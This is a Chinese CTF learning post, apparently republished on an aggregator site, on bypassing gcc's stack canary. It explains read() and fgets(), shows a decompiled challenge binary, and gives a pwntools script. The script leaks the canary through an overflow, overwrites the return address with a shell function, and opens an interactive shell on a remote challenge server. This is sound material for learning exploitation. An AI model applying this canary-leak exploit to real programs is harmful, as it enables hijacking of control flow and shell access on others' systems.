pwn----金丝雀
Posted iridescense
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn----金丝雀相关的知识,希望对你有一定的参考价值。
呜啦啦,这次是canary,意料得进度比较快
了解了一些函数的使用原理,来这里写一下
read()
extern ssize_t read (int __fd, void *__buf, size_t __nbytes);
1.参数一为被读取的文件对应的文件描述符,第二个参数为缓存区,第三个参数为读取的字节数
2.功能:读取fd对应的文件,并将读取的数据保存到buf,以nbytes为读取单位
3.返回值:返回读取的字节数,-1表示读取失败,0表示读取结束
** sendafter(“”,payload),**
因为校赛学到的一个函数,在于精确地填充栈,“”内是接受的具体内容,再也不用recvuntil了。
**char * fgets ( char * str, int num, FILE * stream );**
fgets函数功能为从指定的流中读取每次读取一行。从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止
先来说一下**保护机制**吧
#### canary栈保护
为了防止恶意的泄露,gcc采用了一种保护机制叫canary,通过在返回地址和原bp地址前面插入了一段长为8的随机字符。并且在data段有一份副本,函数返回前将随机字符的位置和副本比较,看是否有恶意攻击
注意有0截断,不然无法读出。
![image](https://img-blog.csdnimg.cn/20191025085303897.png)
以上
放一道**题**
`
int __cdecl main(int argc, const char argv, const char envp)
{
int v4; // [rsp+Ch] [rbp-24h]
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
setbuf(stdin, 0LL);
signal(14, sig_handler);
alarm(5u);
puts("Welcome to your first canary test!");
puts("length?");
__isoc99_scanf("%d", &v4);
if ( v4 < 0 || v4 > 32 )
{
puts("TOO LONG!");
exit(-1);
}
puts("what?");
read(0, &buf, v4);
puts(&buf);
puts("OK!");
read(0, &buf, 0x30uLL);
return 0;
}
`
**WA**
from pwn import*
p=remote(\'121.196.34.30\',10000)##ip,加端口
p.sendlineafter(\'length?\\n\',\'32\')
payload=\'a\'*24
利用ida查看位置要减8,因为有canary
p.sendlineafter(\'what?\\n\',payload)
因为有0截断,所以多发一个
p.recvuntil(\'a\'*24+\'\\n\')
canary=\'\\x00\'+p.recv(7)
shell_addr=p64(0x400885)
用ida或者直接函数寻找
payload=\'a\'*24+canary+p64(0)+shell_addr
p.sendlineafter(\'OK!\\n\',payload)
p.interactive()
绕开的关键是,有俩次从输入流读取的机会,第一次是得到canary,第二次才是绕过,还有put函数。(比如文中的俩次read)。
**其他危险函数**
![image.png](/img/bVcO1g5)
以上是关于pwn----金丝雀的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 6]rop&Return to plt实验